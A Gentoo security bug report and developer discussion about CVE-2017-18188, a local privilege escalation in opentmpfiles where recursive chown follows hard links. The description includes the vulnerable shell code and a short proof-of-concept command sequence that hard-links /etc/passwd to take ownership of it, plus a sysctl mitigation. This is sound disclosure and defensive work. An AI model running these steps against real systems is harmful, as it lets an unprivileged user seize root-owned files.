Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 647752 (CVE-2017-18188) - sys-apps/opentmpfiles: Root privilege escalation
Summary: sys-apps/opentmpfiles: Root privilege escalation
Status: RESOLVED FIXED
Alias: CVE-2017-18188
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Normal major
Assignee: Gentoo Security
URL: https://github.com/OpenRC/opentmpfile...
Whiteboard: B1 [upstream cve]
Keywords:
Depends on:
Blocks: 647778
  Show dependency tree
 
Reported: 2018-02-15 16:38 UTC by Dimitris Nakos (sokan)
Modified: 2020-10-27 01:42 UTC (History)
3 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Dimitris Nakos (sokan) 2018-02-15 16:38:31 UTC
== Summary ==

The opentmpfiles program implements the tmpfiles.d specification for
POSIX systems that do not run systemd. When processing a "Z" type entry,
opentmpfiles calls chown recursively to change ownership of the target
directory and its contents. An attacker can introduce a hard link into
that directory pointing to a sensitive file, and the next time that
opentmpfiles is run, ownership of the hard link's target will be given
to the attacker.


== Details ==

The specification for the Z-type tmpfiles.d entry implies some type of
recursive chown:

  Z

  Recursively set the access mode, group and user, and restore the
  SELinux security context of a file or directory if it exists, as well
  as of its subdirectories and the files contained therein (if
  applicable). Lines of this type accept shell-style globs in place of
  normal path names. Does not follow symlinks.

In opentmpfiles, this is implemented in the "tmpfiles" script:

  _Z() {
    # Recursively set ownership, access mode and relabel security
    # context of a path and all its subdirectories (if it is a
    # directory). Lines of this type accept shell-style globs in
    # place of normal path names.
    [ $CREATE -gt 0 ] || return 0

    CHOPTS=-R relabel "$@"
  }

  relabel() {
    ...
    if [ $uid != '-' ]; then
      dryrun_or_real chown $CHOPTS "$uid" "$path"
      x=$?
      if [ $x -ne 0 ]; then
        status=$x
      fi
    fi
    ...
  }

  dryrun_or_real() {
    local dryrun=
    if [ $DRYRUN -eq 1 ]; then
      dryrun=echo
    fi
    $dryrun "$@"
  }

Ultimately, the target of the Z-type entry has "chown -R" called on
it. By default, chown will refuse to follow symlinks when operating
recursively; however, hard links are another story. Unless some
(nonstandard) kernel-level protection is enabled, unprivileged users
are free to create hard links to root-owned files, and chown will
follow them.

This is straightforward to exploit as the user who owns the target of
a Z-type entry. Take for example the following tmpfiles.d entry, in
/etc/tmpfiles.d/exploit.conf:

  d /var/lib/opentmpfiles-exploit 0755 mjo mjo
  Z /var/lib/opentmpfiles-exploit 0755 mjo mjo

When opentmpfiles is run, ownership of that directory is given to my mjo
user:

  mjo $ sudo /etc/init.d/opentmpfiles-setup start
  mjo $ ls -ld /var/lib/opentmpfiles-exploit
  drwxr-xr-x 2 mjo mjo 4096 Feb 13 18:38 /var/lib/opentmpfiles-exploit

At that point, I'm free to introduce whatever hard links I want,

  mjo $ ln /etc/passwd /var/lib/opentmpfiles-exploit/x

and then restart opentmpfiles (which would happen after a reboot, anyway):

  mjo $ sudo /etc/init.d/opentmpfiles-setup restart

The "chown -R" follows my link, and afterwards I own /etc/passwd:

  mjo $ ls -l /etc/passwd
  -rwxr-xr-x 2 mjo mjo 1504 Feb 13 19:15 /etc/passwd


== Mitigation ==

On Linux, the fs.protected_hardlinks sysctl should be enabled:

  root # sysctl --write fs.protected_hardlinks=1
Comment 1 Christopher Díaz Riveros (RETIRED) gentoo-dev Security 2018-02-15 16:43:14 UTC
@Maintainers please confirm if we are affected by this CVE.

Thank you
Comment 2 Michael Orlitzky gentoo-dev 2018-02-15 21:26:38 UTC
We are, but it is mitigated with gentoo-sources where fs.protected_hardlinks is enabled by default.
Comment 3 Aaron Bauman (RETIRED) gentoo-dev 2018-03-25 19:27:14 UTC
fs.protected_hardlinks is enabled by default in gentoo-sources per bug #540006.
Comment 4 Michael Orlitzky gentoo-dev 2018-03-25 19:31:39 UTC
But if you install vanilla-sources, you silently become vulnerable to a bunch of easy root exploits?
Comment 5 Aaron Bauman (RETIRED) gentoo-dev 2018-03-31 21:38:10 UTC
(In reply to Michael Orlitzky from comment #4)
> But if you install vanilla-sources, you silently become vulnerable to a
> bunch of easy root exploits?

Security does not support vanilla-sources.

1. It is an unstable package
2. The Gentoo kernel project does not support it either (Aside from making it available)

While those are valid reasons I would agree that maybe something more should be done to warn users.  I will have to look at the upstream kernel to verify if fs.protected_hardlinks=1.
Comment 6 Sam James archtester Gentoo Infrastructure gentoo-dev Security 2020-10-25 18:13:05 UTC
Currently mitigated by the sysctl being set by default in bug 704914. But it is true it is not yet resolved upstream.
Comment 7 Sam James archtester Gentoo Infrastructure gentoo-dev Security 2020-10-25 18:21:28 UTC
Right, so we talked about this in #gentoo-dev.

The gist is that while this is a real issue in opentmpfiles, there isn't really anything we can do (the best is the mitigation which resolves this for any systems in a supported configuration - the default), and that even with the systemd approach, the race still exists (just shorter).
Comment 8 Michael Orlitzky gentoo-dev 2020-10-25 22:22:08 UTC
It's fixable, but only on recent linux systems. And it's possible to mitigate with a race condition everywhere from within opentmpfiles. But the big picture is pretty clear: the systemd tmpfiles "specification" is faulty, since it can't be implemented securely unless you're on a brand-new linux system. The goal of opentmpfiles is therefore impossible to achieve. Solution: give up, mask it, and get rid of it.

(Or, mask it everywhere except with recent linux kernels... but why? I can use systemd's tmpfiles there if I want to. Opentmpfiles is only useful in situations where it introduces root exploits.)
Comment 9 Michael Orlitzky gentoo-dev 2020-10-25 22:39:17 UTC
Also note that the sysctl tweaks DO NOT fix this other kindergarten root exploit:

  https://github.com/OpenRC/opentmpfiles/issues/4

The situation is the same: it's fixable only on recent linux systems, where opentmpfiles serves no purpose in the first place.

See CVE-2018-6954 for the systemd solution.